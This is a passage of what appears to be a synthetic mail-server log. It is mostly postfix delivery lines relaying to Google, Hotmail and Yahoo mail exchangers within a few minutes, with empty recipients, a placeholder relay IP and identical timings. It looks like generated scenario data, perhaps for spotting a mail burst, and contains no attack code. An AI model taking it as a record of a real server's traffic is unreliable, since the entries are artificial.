10:03:36 postfix/smtp[5059]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:36 postfix/smtp[7981]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:36 postfix/smtp[9257]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:37 postfix/smtp[5694]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[5493]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[7243]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[7337]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[8350]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[8424]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:38 postfix/smtp[9412]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:40 postfix/smtp[8189]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:40 postfix/smtp[9305]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:40 postfix/smtp[9395]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:41 postfix/smtp[5000]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:41 postfix/smtp[7097]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:43 postfix/smtp[8124]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:45 postfix/smtp[6664]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:45 postfix/smtp[9816]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:45 systemd[1]: Starting daily clean up activities... +Aug 15 10:03:46 postfix/smtp[5025]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:46 postfix/smtp[5473]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:46 postfix/smtp[5483]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:46 postfix/smtp[6951]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:46 postfix/smtp[9795]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:47 postfix/smtp[7632]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:47 postfix/smtp[8608]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:48 postfix/smtp[7444]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:48 postfix/smtp[7763]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:48 postfix/smtp[8307]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:48 postfix/smtp[8643]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:48 postfix/smtp[9026]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:50 postfix/smtp[6123]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:50 postfix/smtp[6553]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:50 postfix/smtp[7220]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:50 postfix/smtp[9550]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:51 postfix/smtp[6160]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:53 postfix/smtp[5071]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:53 postfix/smtp[5697]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:53 postfix/smtp[6668]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:55 postfix/smtp[5002]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:55 postfix/smtp[7439]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:56 postfix/smtp[7658]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:57 postfix/smtp[6425]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:57 postfix/smtp[6490]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:57 postfix/smtp[7026]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:58 postfix/smtp[5895]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:58 postfix/smtp[8770]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:00 postfix/smtp[6009]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:01 postfix/smtp[5467]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:01 postfix/smtp[7297]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:01 postfix/smtp[8054]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:02 postfix/smtp[6680]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:02 postfix/smtp[6756]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:02 postfix/smtp[6944]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:03 postfix/smtp[5115]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:03 postfix/smtp[8538]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:05 postfix/smtp[7880]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:06 postfix/smtp[6527]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:06 postfix/smtp[7186]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:06 postfix/smtp[9984]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:07 postfix/smtp[5134]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:07 postfix/smtp[5293]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:07 postfix/smtp[6246]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:08 postfix/smtp[6154]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:08 postfix/smtp[8198]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:08 postfix/smtp[9258]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:10 postfix/smtp[6391]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:10 postfix/smtp[8266]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:10 web-app[2549]: GET /api/v1/user/11 status=200 OK +Aug 15 10:04:11 postfix/smtp[9689]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:12 postfix/smtp[6635]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:12 postfix/smtp[8238]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:12 postfix/smtp[8510]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:13 postfix/smtp[8325]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:13 postfix/smtp[9797]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:13 postfix/smtp[9909]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:15 postfix/smtp[8566]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:18 postfix/smtp[5913]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:18 postfix/smtp[8006]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:18 postfix/smtp[8822]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:18 postfix/smtp[8995]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:20 postfix/smtp[5948]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:20 postfix/smtp[6906]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:21 postfix/smtp[7761]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:21 postfix/smtp[7787]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:22 postfix/smtp[6441]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:23 postfix/smtp[5917]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:27 postfix/smtp[6434]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:27 postfix/smtp[7069]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:27 postfix/smtp[9236]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:28 postfix/smtp[5097]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:28 postfix/smtp[5973]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:28 postfix/smtp[6895]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:30 postfix/smtp[6337]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:30 postfix/smtp[8260]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:30 postfix/smtp[9369]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:30 postfix/smtp[9891]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:31 postfix/smtp[9081]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:32 postfix/smtp[9347]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:32 postfix/smtp[9663]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:33 postfix/smtp[5725]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:33 postfix/smtp[6019]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:33 postfix/smtp[7651]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:33 postfix/smtp[7760]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:35 postfix/smtp[5941]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:35 postfix/smtp[7142]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:35 postfix/smtp[7427]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:35 postfix/smtp[7612]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:36 postfix/smtp[5029]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:36 postfix/smtp[5069]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:36 postfix/smtp[6224]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:37 postfix/smtp[5854]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:37 postfix/smtp[6799]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:37 postfix/smtp[7442]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:37 postfix/smtp[7807]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:38 postfix/smtp[5022]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:40 postfix/smtp[6264]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:40 postfix/smtp[9848]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:41 postfix/smtp[9857]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:42 postfix/smtp[5620]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:43 postfix/smtp[5031]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:43 postfix/smtp[5561]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:43 postfix/smtp[8343]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:43 postfix/smtp[8761]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:46 postfix/smtp[6486]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:46 postfix/smtp[8047]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:46 postfix/smtp[8130]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:48 postfix/smtp[6661]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:48 postfix/smtp[7935]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:48 postfix/smtp[7940]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:50 postfix/smtp[9215]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:51 postfix/smtp[8769]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:52 postfix/smtp[7621]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:52 postfix/smtp[9239]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:52 postfix/smtp[9566]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:53 postfix/smtp[7893]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:53 postfix/smtp[9396]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:53 postfix/smtp[9602]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:55 postfix/smtp[5684]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:56 postfix/smtp[9303]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:57 postfix/smtp[8859]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:58 postfix/smtp[6054]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:58 postfix/smtp[6682]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:58 postfix/smtp[9512]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:04:58 postfix/smtp[9650]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:00 postfix/smtp[5695]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:00 postfix/smtp[7365]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:00 postfix/smtp[8778]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:05:01 